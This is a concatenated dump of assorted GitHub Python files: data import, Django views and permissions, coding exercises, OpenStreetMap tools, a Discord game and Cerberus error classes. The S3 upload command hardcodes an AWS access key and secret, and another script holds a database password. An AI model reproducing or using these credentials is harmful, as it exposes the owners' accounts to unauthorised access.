ENGINE,\n            schema=SCHEMA,\n            if_exists=\"append\",\n            index=False,\n            method=psql_insert_copy,\n        )\n\n    # try:\n    #     conn = psycopg2.connect(\n    #         dbname=\"asset_management_master\",\n    #         user=\"postgres\",\n    #         password=\"$admin\",\n    #         host=\"localhost\",\n    #         port=5432,\n    #     )\n    #     conn.set_session(autocommit=True)\n    #     cur = conn.cursor()\n    #     cur.callproc(\n    #         \"assessment.rva_indices\",\n    #     )\n    # except (Exception, psycopg2.DatabaseError) as e:\n    #     print(e)\n    # finally:\n    #     if conn is not None:\n    #         conn.close()\n\n    # try:\n    #     conn = psycopg2.connect(\n    #         dbname=\"asset_management_master\",\n    #         user=\"postgres\",\n    #         password=\"$admin\",\n    #         host=\"localhost\",\n    #         port=5432,\n    #     )\n    #     conn.set_session(autocommit=True)\n    #     cur = conn.cursor()\n    #     cur.callproc(\n    #         \"assessment.rva_indices_2\",\n    #     )\n    # except (Exception, psycopg2.DatabaseError) as e:\n    #     print(e)\n    # finally:\n    #     if conn is not None:\n    #         conn.close()\n\n        toast.show_toast(\n            \"SCRIPT RAN SUCCESSFULLY\",\n            \"Inserting records from FulcrumApp\",\n            duration=10,\n        )\n    except:\n        toast.show_toast(\n            \"SOMETHING WENT WRONG - PLEASE CHECK IMPORT FUNCTION\",\n            \"Inserting records from FulcrumApp\",\n            duration=10,\n        )\n\n\nif __name__ == '__main__':\n    main()","repo_name":"brandtosaurus/inspections","sub_path":"import_inspection_from_fulcrum.py","file_name":"import_inspection_from_fulcrum.py","file_ext":"py","file_size_in_byte":5578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"31142554303","text":"from django.apps import apps\nfrom django.shortcuts import render, redirect\nfrom django.views import View\n\n\nclass BaseGenericView(View):\n    template_name = None\n    object_name = None\n    model_class = None\n    context = None\n    values = None\n\n    def get_for_single(self, model_class, id_object):\n        return model_class.objects.get(id=id_object)\n\n    def get(self, request, *args, **kwargs):\n        method = kwargs.get('method', 'get')\n        self.object_name = kwargs['object_name']\n        self.model_class = apps.get_model(app_label='app', model_name=self.object_name)\n        self.context = self.model_class.get_context() if hasattr(self.model_class, 'get_context') else {}\n        if kwargs['pk'] is not None:\n            self.context['object'] = self.get_for_single(self.model_class, kwargs['pk'])\n        if method == 'list':\n            self.context['object_list'] = self.get_for_list()\n        self.get_template_name(method)\n        return render(request, self.template_name, self.context)\n\n    def get_for_list(self):\n        return self.model_class.objects.all()\n\n    def get_template_name(self, method):\n        if method == 'delete':\n            post_fix = '_delete.html'\n        elif method == 'list':\n            post_fix = '_list.html'\n        else:\n            post_fix = '_form.html'\n\n        self.template_name = 'app/' + self.object_name.lower() + post_fix\n\n    def post(self, request, *args, **kwargs):\n        object_name = kwargs['object_name']\n        self.model_class = apps.get_model(app_label='app', model_name=object_name)\n        if kwargs['pk'] is None:\n            self.set_values(request)\n            self.create(request, *args, **kwargs)\n        elif request.POST.get('delete'):\n            self.delete(*args, **kwargs)\n        else:\n            self.set_values(request)\n            self.edit(request, *args, **kwargs)\n        return redirect('detail', method='list', object_name=object_name)\n\n    def create(self, request, *args, **kwargs):\n        model_object = self.model_class(**self.values)\n        model_object.save()\n\n    def edit(self, request, *args, **kwargs):\n        model_object = self.model_class.objects.filter(id=kwargs['pk'])\n        model_object.update(**self.values)\n        \n    def delete(self, *args, **kwargs):\n        model_object = self.model_class.objects.get(id=kwargs['pk'])\n        model_object.delete()\n\n    def set_values(self, request):\n        post_items = dict(request.POST)\n        fields = [field.name for field in self.model_class._meta.get_fields()]\n        self.values = {field: request.POST[field] for field in fields\n                       if field != 'id' if field in post_items.keys()}\n","repo_name":"Karolucha/pmb","sub_path":"adminek/views/generic_views.py","file_name":"generic_views.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6484559014","text":"# -*- coding: utf-8 -*-\nfrom simple_perms import PermissionLogic, register\n\nfrom helpers.mixins import BasicPermissionLogicMixin\n\n\nclass TagPermissionLogic(BasicPermissionLogicMixin, PermissionLogic):\n    def view(self, user, tag, *args):\n        \"\"\"\n        Permissions for viewing/editing Tag\n        \"\"\"\n        if user.is_anonymous or user.is_client:\n            return False\n\n        if user.is_administrator:\n            return True\n\n        if user.is_manager:\n            return False\n\n        if user.is_advisor:\n            return tag.owning_group == user.group\n\n        return self.admin_permission(user, tag, *args)\n\n    def create(self, user, tag, *args):\n        \"\"\"\n        Permissions for creating Tag\n        \"\"\"\n        if user.is_anonymous or user.is_client:\n            return False\n\n        if user.is_administrator:\n            return True\n\n        if user.is_manager or user.is_advisor:\n            if tag.owning_group.pk == user.group.pk:\n                return True\n\n        return self.admin_permission(user, tag, *args)\n\n    change = view\n    delete = view\n\n\nregister(\"tag\", TagPermissionLogic)\nregister(\"fac/tag\", TagPermissionLogic)\n","repo_name":"alexandrenorman/mixeur","sub_path":"fac/perms/tag_perm.py","file_name":"tag_perm.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"36704320289","text":"from typing import List\n\n\nclass Solution:\n    def isPalindrome(self, s: str) -> bool:\n        left, right = 0, len(s) - 1\n        while left < right:\n            while left < right and not s[left].isalnum():\n                left += 1\n            while left < right and not s[right].isalnum():\n                right -= 1\n            if s[left].upper() != s[right].upper():\n                return False\n            left += 1\n            right -= 1\n        return True\n\n\nif __name__ == \"__main__\":\n    S = Solution()\n    print(S.isPalindrome(\"A man, a plan, a canal: Panama\"))\n","repo_name":"JasmineRain/Algorithm","sub_path":"Python/Double Pointers/125_Easy_验证回文串.py","file_name":"125_Easy_验证回文串.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"15224525144","text":"\nfrom django.core.management.base import BaseCommand, CommandError\nfrom django.conf import settings\n\nfrom uuid import uuid4\nimport tinys3\nimport os\n\nAWS_ACCESS_KEY_ID = 'AKIAJOAPGZD2SYWXWBWQ'\nAWS_SECRET_ACCESS_KEY = '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'\n\n\ndef key_name_for_path(p):\n    s = str(uuid4())\n    basename = os.path.basename(p)\n    if '.' in basename:\n        s += '.' + basename.split('.')[-1]\n    return s\n\n\nclass Command(BaseCommand):\n    def add_arguments(self, parser):\n        parser.add_argument('image_path', type=str)\n\n    def handle(self, *args, **options):\n        image_path = options['image_path']\n        key_name = key_name_for_path(image_path)\n        print('Uploading \"%s\" to \"%s\" on S3...' % (image_path, key_name))\n\n        conn = tinys3.Connection(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, default_bucket='siphon-assets')\n        with open(image_path, 'rb') as fp:\n            result = conn.upload(key_name, fp, public=True)\n\n        print('Done.')\n        print('\\n--> %s' % result.url)\n","repo_name":"siphoncode/siphon-web","sub_path":"siphon/web/apps/core/management/commands/image_to_s3.py","file_name":"image_to_s3.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40749440139","text":"from typing import Optional\n# Definition for singly-linked list.\nclass ListNode:\n    def __init__(self, val=0, next=None):\n        self.val = val\n        self.next = next\n\nclass Solution:\n    def reorderList(self, head: Optional[ListNode]) -> None:\n        \"\"\"\n        Do not return anything, modify head in-place instead.\n        \"\"\"\n        mid = self.findMiddle(head)\n        left = head\n        right = mid.next\n        mid.next = None\n        right = self.reverseList(right)\n        return self.mergeTwoLists(left, right)\n        \n    def findMiddle(self, head):\n        slow = fast = head\n        while fast.next and fast.next.next:\n            slow = slow.next\n            fast = fast.next.next\n        return slow\n    \n    def reverseList(self, head):\n        cur = None\n        while head:\n            new_head = head.next\n            head.next = cur\n            cur = head\n            head = new_head\n        return cur\n    \n    def mergeTwoLists(self, left, right):\n        head = ListNode()\n        cur = head\n        while left and right:\n            new_left, new_right = left.next, right.next\n            cur.next = left\n            cur.next.next = right\n            cur = right\n            left, right = new_left, new_right\n        if left:\n            cur.next = left\n        if right:\n            cur.next = right\n        return head.next","repo_name":"zt5rice/LC-archive","sub_path":"0143. Reorder List/143.Reorder-List.py","file_name":"143.Reorder-List.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74581835127","text":"'''\nLeia um caractere maiúsculo, que indica uma operação que deve ser realizada e uma matriz M[12][12].\nEm seguida, calcule e mostre a soma ou a média considerando somente aqueles elementos que estão na \nárea superior da matriz, conforme ilustrado abaixo (área verde).\n'''\n\ndef criar_matriz(lin,col):\n  mat = []\n  for i in range(lin):\n    mat.append([0] * col)\n  return mat\n\ndef ler_matriz(mat,lin,col):\n  for i in range(lin):\n    for j in range(col):\n      mat[i][j] = float(input())\n\nsoma = 0\nO = input(\"\")\nM = criar_matriz(12,12)\nler_matriz(M, 12, 12)\n\nfor i in range (5):\n  for j in range (11,0,-1):\n    if j > i and j-i >= 1 and i + j < 11:\n        soma = soma + M[i][j]\n\nif O == \"s\" or O == \"S\":\n  print(round(soma, 1))\n\nelse:\n  print(round(soma/30,1))","repo_name":"weep-dev/Python","sub_path":"Exercise2/AreaSuperior.py","file_name":"AreaSuperior.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"32273118328","text":"# -*- coding: utf-8 -*-\n\n\"\"\" OpenStreetMap related tools\n\nAmong available tools:\n- Use Overpass API to query OSM database and convert JSON\nresponse to geopandas dataframe (thanks to https://github.com/yannforget/OSMxtract for inspiration !)\n\"\"\"\nimport geojson\nimport geopandas as gpd\nfrom osmnx import geocode_to_gdf\nfrom osmnx.downloader import overpass_request\n\nfrom gistools.exceptions import QlQueryError\nfrom gistools.geometry import merge\nfrom osmnx.settings import default_crs\nfrom shapely.geometry import LineString, Point, MultiLineString, Polygon, MultiPolygon, MultiPoint\n\nfrom gistools.utils.check.value import check_string\n\nGEOMETRY_CLASS = {'linestring': (LineString, MultiLineString), 'polygon': (Polygon, MultiPolygon),\n                  'point': (Point, MultiPoint)}\n\n\ndef _to_point_features(json):\n    \"\"\" Read json response and extract point geometries\n\n    :param json: JSON response from overpass API\n    :return: GeoJSON FeatureCollection\n    \"\"\"\n    features = []\n    elements = [e for e in json['elements'] if e['type'] == 'node']\n    for elem in elements:\n        coords = [elem['lon'], elem['lat']]\n        features.append(geojson.Feature(id=elem['id'], geometry=Point(coords), properties=_feature_tags(elem)))\n\n    return geojson.FeatureCollection(features)\n\n\ndef _to_features(json, geometry_type):\n    \"\"\" Read json response and extract (multi)linestring/polygon geometries\n\n    :param json: json response\n    :param geometry_type: {'linestring', 'polygon'}\n    :return:\n    \"\"\"\n    features = []\n\n    if geometry_type == 'linestring':\n        elements = [e for e in json['elements'] if e['type'] == 'way' or e['type'] == 'relation']\n    else:\n        elements = [e for e in json['elements'] if e['type'] == 'way' or (e['type'] == 'relation' and e['tags']['type']\n                                                                          in ('multipolygon', 'boundary'))]\n\n    for elem in elements:\n\n        if elem['type'] == 'way':\n            coords = [[node['lon'], node['lat']] for node in elem['geometry']]\n            try:\n                geom = GEOMETRY_CLASS[geometry_type][0](coords)  # LineString, Polygon\n            except ValueError:\n                pass\n            else:\n                features.append(geojson.Feature(id=elem['id'], geometry=geom, properties=_feature_tags(elem)))\n\n        elif elem['type'] == 'relation':\n            collection = []\n            for member in elem['members']:\n                if member['type'] == 'way':\n                    member_coords = [(node['lon'], node['lat']) for node in member['geometry']]\n                    collection.append(LineString(member_coords))\n            geom_collection = merge(collection)\n\n            if geom_collection:\n                try:\n                    geom = GEOMETRY_CLASS[geometry_type][1]([GEOMETRY_CLASS[geometry_type][0](line) for line in\n                                                             geom_collection])  # MultiLineString, MultiPolygon\n                except ValueError:\n                    pass\n                else:\n                    features.append(geojson.Feature(id=elem['id'], geometry=geom, properties=_feature_tags(elem)))\n\n    return geojson.FeatureCollection(features)\n\n\ndef _feature_tags(json_element):\n    \"\"\" Update feature tags to set OSM ID and type\n\n    :param json_element: 'elements' feature in JSON dict response\n    :return:\n    \"\"\"\n    if 'id' not in json_element['tags'].keys():\n        tags = dict(osm_id=json_element['id'], **json_element['tags'])\n    else:\n        tags = json_element['tags']\n\n    # Add osm type to attributes\n    tags.update(osm_type=json_element['type'])\n\n    return tags\n\n\ndef download_osm_features(place, osm_type, tag, values=None, by_poly=True, timeout=180):\n    \"\"\" Download OSM features within given place\n\n    :param place: single place name query (e.g: \"London\", \"Bonn\", etc.)\n    :param osm_type: OSM geometry type str ('node', 'way', 'relation')\n    :param tag: OSM tag to query\n    :param values: str/list of possible values for the provided OSM tag\n    :param by_poly: if True, retrieve features within polygon's list of coordinates, otherwise use bounds\n    :param timeout:\n    :return:\n    \"\"\"\n    gdf_geometry = geocode_to_gdf(place)\n\n    try:\n        geometry = gdf_geometry.geometry[0]\n    except AttributeError:  # Empty GeoDataFrame\n        return None\n\n    responses = []\n\n    if by_poly:\n        polygon_coord_strs = get_polygons_coordinates(geometry)\n        for poly_coord_str in polygon_coord_strs:\n            query = ql_query(osm_type, tag, values, polygon_coord=poly_coord_str, timeout=timeout)\n            responses.append(overpass_request(data={'data': query}))\n    else:\n        query = ql_query(osm_type, tag, values, bounds=geometry.bounds, timeout=timeout)\n        responses.append(overpass_request(data={'data': query}))\n\n    return responses\n\n\ndef get_polygons_coordinates(geometry):\n    \"\"\"\n    Extract exterior coordinates from polygon(s) to pass to OSM in a query by\n    polygon. Ignore the interior (\"holes\") coordinates.\n\n    Parameters\n    ----------\n    geometry : shapely Polygon or MultiPolygon\n        the geometry to extract exterior coordinates from\n\n    Returns\n    -------\n    polygon_coord_strs : list\n\n    Note\n    ----\n    Function from osmnx package version 0.10 (https://github.com/gboeing/osmnx)\n    \"\"\"\n\n    # extract the exterior coordinates of the geometry to pass to the API later\n    polygons_coords = []\n    if isinstance(geometry, Polygon):\n        x, y = geometry.exterior.xy\n        polygons_coords.append(list(zip(x, y)))\n    elif isinstance(geometry, MultiPolygon):\n        for polygon in geometry:\n            x, y = polygon.exterior.xy\n            polygons_coords.append(list(zip(x, y)))\n    else:\n        raise TypeError('Geometry must be a shapely Polygon or MultiPolygon')\n\n    # convert the exterior coordinates of the polygon(s) to the string format\n    # the API expects\n    polygon_coord_strs = []\n    for coords in polygons_coords:\n        s = ''\n        separator = ' '\n        for coord in list(coords):\n            # round floating point lats and longs to 6 decimal places (ie, ~100 mm),\n            # so we can hash and cache strings consistently\n            s = '{}{}{:.6f}{}{:.6f}'.format(s, separator, coord[1], separator, coord[0])\n        polygon_coord_strs.append(s.strip(separator))\n\n    return polygon_coord_strs\n\n\ndef json_to_geodataframe(response, geometry_type):\n    \"\"\" Convert JSON responses to\n\n    :param response: json response\n    :param geometry_type: type of geometry to extract ('point', 'linestring', 'polygon', 'multipolygon')\n    :return:\n    \"\"\"\n    geometry_type = check_string(geometry_type, ('point', 'linestring', 'polygon'))\n\n    if geometry_type == 'point':\n        return gpd.GeoDataFrame.from_features(_to_point_features(response), crs=default_crs)\n    else:\n        return gpd.GeoDataFrame.from_features(_to_features(response, geometry_type), crs=default_crs)\n\n\ndef ql_query(osm_type, tag, values=None, bounds=None, polygon_coord=None, timeout=180):\n    \"\"\" QL query (thanks to https://github.com/yannforget/OSMxtract for inspiration !)\n\n    :param osm_type: OSM geometry type str {'node', 'way', 'relation', 'nwr'}\n    :param tag: OSM tag to query\n    :param values: str/list of possible values for the provided OSM tag\n    :param bounds: geometry bounds\n    :param polygon_coord: location's polygon list of coordinates\n    :param timeout:\n    :return:\n    \"\"\"\n    osm_type = check_string(osm_type, ('node', 'way', 'relation', 'nwr'))\n\n    if isinstance(values, str):\n        values = [values]\n\n    if bounds and not polygon_coord:\n        west, south, east, north = bounds\n        boundary = f'({south:.6f},{west:.6f},{north:.6f},{east:.6f})'\n    elif polygon_coord and not bounds:\n        boundary = f'(poly:\"{polygon_coord}\")'\n    else:\n        raise QlQueryError(\"Must define either geometry bounds or polygon coordinates\")\n\n    if values:\n        if len(values) > 1:\n            tags = f'[\"{ tag }\"~\"{ \"|\".join(values) }\"]'\n        else:\n            tags = f'[\"{ tag }\"=\"{ values[0] }\"]'\n    else:\n        tags = f'[\"{tag}\"]'\n\n    return f'[out:json][timeout:{timeout}];{osm_type}{tags}{boundary};out geom;'\n","repo_name":"benjaminpillot/gis-tools","sub_path":"gistools/osm.py","file_name":"osm.py","file_ext":"py","file_size_in_byte":8207,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"}
+{"seq_id":"25975327922","text":"from asyncio import TimeoutError\nfrom TicTacToe import TicTacToe\n\nROUND_TIME_LIMIT = 40.0\nTOO_SLOW_MESSAGE = \"too slow darling -_-\"\nGAME_OVER_MESSAGE = \"GAME OVER\"\n\n\nasync def start_game(client, channel, user):\n    game = TicTacToe()\n    # user will play the game through a message and its discord-reacts.\n    empty_board = str(game)\n    game_message = await channel.send(empty_board)\n    for square in game.board:\n        await game_message.add_reaction(square)\n    # start game loop\n    await get_user_reaction(client, channel, user, game, game_message)\n\n\nasync def get_user_reaction(client, channel, user, game, game_message):\n    # user must react within time limit.\n    try:\n        user_reaction, user = await client.wait_for(\n            'reaction_add',\n            timeout=ROUND_TIME_LIMIT,\n            check=lambda r, u: game.is_position_empty(str(r.emoji)) and u == user)\n    # user took too long\n    except TimeoutError:\n        await channel.send(TOO_SLOW_MESSAGE)\n    # user chose a react in time\n    else:\n        await update_game_message(client, channel, user, user_reaction, game, game_message)\n\n\nasync def update_game_message(client, channel, user, user_reaction, game, game_message):\n    \"\"\"Update the original game-message with the new board.\"\"\"\n    user_move = str(user_reaction.emoji)\n    game.update_board(user_move=user_move)\n    await game_message.edit(content=str(game))\n    if not game.is_over():\n        await get_user_reaction(client, channel, user, game, game_message)\n    else:\n        await channel.send(GAME_OVER_MESSAGE)\n","repo_name":"benji1123/002-Discord-Bot","sub_path":"TicTacToeHandler.py","file_name":"TicTacToeHandler.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"37036067303","text":"\"\"\"Python Script Template.\"\"\"\nimport seaborn as sns\nfrom exps.utilities import get_exact_reps, get_exact_q_reps, get_sample_qreps\n\npalette = sns.color_palette(n_colors=10)\n\n\n\"\"\"Python Script Template.\"\"\"\nimport seaborn as sns\nfrom exps.utilities import get_exact_reps, get_exact_q_reps\n\npalette = sns.color_palette(n_colors=10)\n\n\ndef get_eta_agents(env, eta, alpha, *args, **kwargs):\n    \"\"\"Return agents that need the model.\"\"\"\n    agents = {\n        \"ExactQREPS-0.001\": get_exact_q_reps(\n            env, eta=0.001 * eta, alpha=1.0, *args, **kwargs\n        ),\n        \"ExactQREPS-0.01\": get_exact_q_reps(\n            env, eta=0.01 * eta, alpha=1.0, *args, **kwargs\n        ),\n        \"ExactQREPS-0.1\": get_exact_q_reps(\n            env, eta=0.1 * eta, alpha=1.0, *args, **kwargs\n        ),\n        \"ExactQREPS-1\": get_exact_q_reps(env, eta=eta, alpha=1.0, *args, **kwargs),\n        \"ExactQREPS-10\": get_exact_q_reps(\n            env, eta=10 * eta, alpha=1.0, *args, **kwargs\n        ),\n    }\n    return agents\n\n\ndef get_linestyle(name: str):\n    \"\"\"Get agent linestyle.\"\"\"\n    if \"QREPS\" in name:\n        return \"solid\"\n    else:\n        return \"dashed\"\n\n\ndef get_color(name: str):\n    \"\"\"Get plot color.\"\"\"\n    if \"-100\" in name:\n        return palette[1]\n    elif \"-10\" in name:\n        return palette[2]\n    elif \"-1\" in name:\n        return palette[0]\n    elif \"-0.1\" in name:\n        return palette[3]\n    elif \"-0.01\" in name:\n        return palette[4]\n    elif \"-0.001\" in name:\n        return palette[8]\n","repo_name":"sebascuri/qreps","sub_path":"exps/effect_of_eta_on_q/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"}
+{"seq_id":"3441337869","text":"import os.path\n\nfrom aws_cdk.aws_s3_assets import Asset\nfrom constructs import Construct\n\nfrom aws_cdk import (\n    # Duration,\n    CfnOutput,\n    Stack,\n    aws_kms as kms,\n)\n\ndirname = os.path.dirname(__file__)\n\nclass BaseKmsStack(Stack):\n\n    @property\n    def kms(self):\n        return self._kms\n\n    # @property\n    # def alias(self):\n    #     return self._alias\n\n    def __init__(self, scope: Construct, construct_id: str, prefix_name: str, **kwargs) -> None:\n        super().__init__(scope, construct_id, **kwargs)\n\n        self._kms = kms.Key(\n            self, f\"{prefix_name.capitalize()}KmsKey\",\n            description=\"base kms key\",\n            alias=\"base_kms_key\"\n        )\n\n        # self._alias = kms.Alias(\n        #     self, \"Alias\",\n        #     alias_name=\"base_kms_key\",\n        #     target_key=self._kms\n        # )\n\n        CfnOutput(self, f\"{prefix_name.capitalize()}KmsName\", value=self._kms.key_arn)\n        # CfnOutput(self, \"BaseKmsArn\", value=self._alias.key_arn)\n","repo_name":"smarkin-repository/cdk_experiments","sub_path":"base_account_setup/base_account_setup/base_kms_stack.py","file_name":"base_kms_stack.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"34446651714","text":"\"\"\" This module contains the error-related constants and classes. \"\"\"\n\nfrom collections import defaultdict, namedtuple, MutableMapping\nfrom copy import copy\nfrom .utils import compare_paths_lt, quote_string\n\n\n\"\"\"\nError definition constants\n\nEach distinguishable error is defined as a two-value-tuple that holds\na *unique* error id as integer and the rule as string that can cause it.\nThe attributes are accessible as properties ``id`` and ``rule``.\nThe names do not contain a common prefix as they are supposed to be referenced\nwithin the module namespace, e.g. errors.CUSTOM\n\"\"\"\n\nErrorDefinition = namedtuple('cerberus_error', 'code, rule')\n\n# custom\nCUSTOM = ErrorDefinition(0x00, None)\n\n# existence\nDOCUMENT_MISSING = ErrorDefinition(0x01, None)  # issues/141\nDOCUMENT_MISSING = \"document is missing\"\nREQUIRED_FIELD = ErrorDefinition(0x02, 'required')\nUNKNOWN_FIELD = ErrorDefinition(0x03, None)\nDEPENDENCIES_FIELD = ErrorDefinition(0x04, 'dependencies')\nDEPENDENCIES_FIELD_VALUE = ErrorDefinition(0x05, 'dependencies')\nEXCLUDES_FIELD = ErrorDefinition(0x06, 'excludes')\n\n# shape\nDOCUMENT_FORMAT = ErrorDefinition(0x21, None)  # issues/141\nDOCUMENT_FORMAT = \"'{0}' is not a document, must be a dict\"\nEMPTY_NOT_ALLOWED = ErrorDefinition(0x22, 'empty')\nNOT_NULLABLE = ErrorDefinition(0x23, 'nullable')\nBAD_TYPE = ErrorDefinition(0x24, 'type')\nBAD_TYPE_FOR_SCHEMA = ErrorDefinition(0x25, 'schema')\nITEMS_LENGTH = ErrorDefinition(0x26, 'items')\nMIN_LENGTH = ErrorDefinition(0x27, 'minlength')\nMAX_LENGTH = ErrorDefinition(0x28, 'maxlength')\n\n\n# color\nREGEX_MISMATCH = ErrorDefinition(0x41, 'regex')\nMIN_VALUE = ErrorDefinition(0x42, 'min')\nMAX_VALUE = ErrorDefinition(0x43, 'max')\nUNALLOWED_VALUE = ErrorDefinition(0x44, 'allowed')\nUNALLOWED_VALUES = ErrorDefinition(0x45, 'allowed')\nFORBIDDEN_VALUE = ErrorDefinition(0x46, 'forbidden')\nFORBIDDEN_VALUES = ErrorDefinition(0x47, 'forbidden')\n\n# other\nNORMALIZATION = ErrorDefinition(0x60, None)\nCOERCION_FAILED = ErrorDefinition(0x61, 'coerce')\nRENAMING_FAILED = ErrorDefinition(0x62, 'rename_handler')\nREADONLY_FIELD = ErrorDefinition(0x63, 'readonly')\nSETTING_DEFAULT_FAILED = ErrorDefinition(0x64, 'default_setter')\n\n# groups\nERROR_GROUP = ErrorDefinition(0x80, None)\nMAPPING_SCHEMA = ErrorDefinition(0x81, 'schema')\nSEQUENCE_SCHEMA = ErrorDefinition(0x82, 'schema')\nKEYSCHEMA = ErrorDefinition(0x83, 'keyschema')\nVALUESCHEMA = ErrorDefinition(0x84, 'valueschema')\nBAD_ITEMS = ErrorDefinition(0x8f, 'items')\n\nLOGICAL = ErrorDefinition(0x90, None)\nNONEOF = ErrorDefinition(0x91, 'noneof')\nONEOF = ErrorDefinition(0x92, 'oneof')\nANYOF = ErrorDefinition(0x93, 'anyof')\nALLOF = ErrorDefinition(0x94, 'allof')\n\n\n\"\"\" SchemaError messages \"\"\"\n\nSCHEMA_ERROR_DEFINITION_TYPE = \\\n    \"schema definition for field '{0}' must be a dict\"\nSCHEMA_ERROR_MISSING = \"validation schema missing\"\n\n\n\"\"\" Error representations \"\"\"\n\n\nclass ValidationError:\n    \"\"\" A simple class to store and query basic error information. \"\"\"\n    def __init__(self, document_path, schema_path, code, rule, constraint,\n                 value, info):\n        self.document_path = document_path\n        \"\"\" The path to the field within the document that caused the error.\n            Type: :class:`tuple` \"\"\"\n        self.schema_path = schema_path\n        \"\"\" The path to the rule within the schema that caused the error.\n            Type: :class:`tuple` \"\"\"\n        self.code = code\n        \"\"\" The error's identifier code. Type: :class:`int` \"\"\"\n        self.rule = rule\n        \"\"\" The rule that failed. Type: `string` \"\"\"\n        self.constraint = constraint\n        \"\"\" The constraint that failed. \"\"\"\n        self.value = value\n        \"\"\" The value that failed. \"\"\"\n        self.info = info\n        \"\"\" May hold additional information about the error.\n            Type: :class:`tuple` \"\"\"\n\n    def __eq__(self, other):\n        \"\"\" Assumes the errors relate to the same document and schema. \"\"\"\n        return hash(self) == hash(other)\n\n    def __hash__(self):\n        \"\"\" Expects that all other properties are transitively determined. \"\"\"\n        return hash(self.document_path) ^ hash(self.schema_path) \\\n            ^ hash(self.code)\n\n    def __lt__(self, other):\n        if self.document_path != other.document_path:\n            return compare_paths_lt(self.document_path, other.document_path)\n        else:\n            return compare_paths_lt(self.schema_path, other.schema_path)\n\n    def __repr__(self):\n        return \"{class_name} @ {memptr} ( \" \\\n               \"document_path={document_path},\" \\\n               \"schema_path={schema_path},\" \\\n               \"code={code},\" \\\n               \"constraint={constraint},\" \\\n               \"value={value},\" \\\n               \"info={info} )\"\\\n               .format(class_name=self.__class__.__name__, memptr=hex(id(self)),  # noqa\n                       document_path=self.document_path,\n                       schema_path=self.schema_path,\n                       code=hex(self.code),\n                       constraint=quote_string(self.constraint),\n                       value=quote_string(self.value),\n                       info=self.info)\n\n    @property\n    def child_errors(self):\n        \"\"\"\n        A list that contains the individual errors of a bulk validation error.\n        \"\"\"\n        return self.info[0] if self.is_group_error else None\n\n    @property\n    def definitions_errors(self):\n        \"\"\" Dictionary with errors of an *of-rule mapped to the index of the\n            definition it occurred in. Returns :obj:`None` if not applicable.\n            \"\"\"\n        if not self.is_logic_error:\n            return None\n\n        result = defaultdict(list)\n        for error in self.child_errors:\n            i = error.schema_path[len(self.schema_path)]\n            result[i].append(error)\n        return result\n\n    @property\n    def is_group_error(self):\n        \"\"\" ``True`` for errors of bulk validations. \"\"\"\n        return bool(self.code & ERROR_GROUP.code)\n\n    @property\n    def is_logic_error(self):\n        \"\"\" ``True`` for validation errors against different schemas with\n            *of-rules. \"\"\"\n        return bool(self.code & LOGICAL.code - ERROR_GROUP.code)\n\n    @property\n    def is_normalization_error(self):\n        \"\"\" ``True`` for normalization errors. \"\"\"\n        return bool(self.code & NORMALIZATION.code)\n\n\nclass ErrorList(list):\n    \"\"\" A list for :class:`~cerberus.errrors.ValidationError` instances that\n        can be queried with the ``in`` keyword for a particular error code. \"\"\"\n    def __contains__(self, error_definition):\n        for code in (x.code for x in self):\n            if code == error_definition.code:\n                return True\n        return False\n\n\nclass ErrorTreeNode(MutableMapping):\n    __slots__ = ('descendants', 'errors', 'parent_node', 'path', 'tree_root')\n\n    def __init__(self, path, parent_node):\n        self.parent_node = parent_node\n        self.tree_root = self.parent_node.tree_root\n        self.path = path[:len(self.parent_node.path) + 1]\n        self.errors = ErrorList()\n        self.descendants = {}\n\n    def __add__(self, error):\n        self.add(error)\n        return self\n\n    def __delitem__(self, key):\n        del self.descendants[key]\n\n    def __iter__(self):\n        return iter(self.errors)\n\n    def __getitem__(self, item):\n        return self.descendants.get(item)\n\n    def __len__(self):\n        return len(self.errors)\n\n    def __setitem__(self, key, value):\n        self.descendants[key] = value\n\n    def __str__(self):\n        return str(self.errors) + ',' + str(self.descendants)\n\n    @property\n    def depth(self):\n        return len(self.path)\n\n    @property\n    def tree_type(self):\n        return self.tree_root.tree_type\n\n    def add(self, error):\n        error_path = self._path_of_(error)\n\n        key = error_path[self.depth]\n        if key not in self.descendants:\n            self[key] = ErrorTreeNode(error_path, self)\n\n        if len(error_path) == self.depth + 1:\n            self[key].errors.append(error)\n            self[key].errors.sort()\n            if error.is_group_error:\n                for child_error in error.info[0]:\n                    self.tree_root += child_error\n        else:\n            self[key] += error\n\n    def _path_of_(self, error):\n        return getattr(error, self.tree_type + '_path')\n\n\nclass ErrorTree(ErrorTreeNode):\n    \"\"\" Base class for :class:`~cerberus.errors.DocumentErrorTree` and\n        :class:`~cerberus.errors.SchemaErrorTree`. \"\"\"\n    def __init__(self, errors=[]):\n        self.parent_node = None\n        self.tree_root = self\n        self.path = ()\n        self.errors = []\n        self.descendants = {}\n        for error in errors:\n            self += error\n\n    def add(self, error):\n        \"\"\" Add an error to the tree.\n\n        :param error: :class:`~cerberus.errors.ValidationError`\n        \"\"\"\n        if not self._path_of_(error):\n            self.errors.append(error)\n            self.errors.sort()\n        else:\n            super(ErrorTree, self).add(error)\n\n   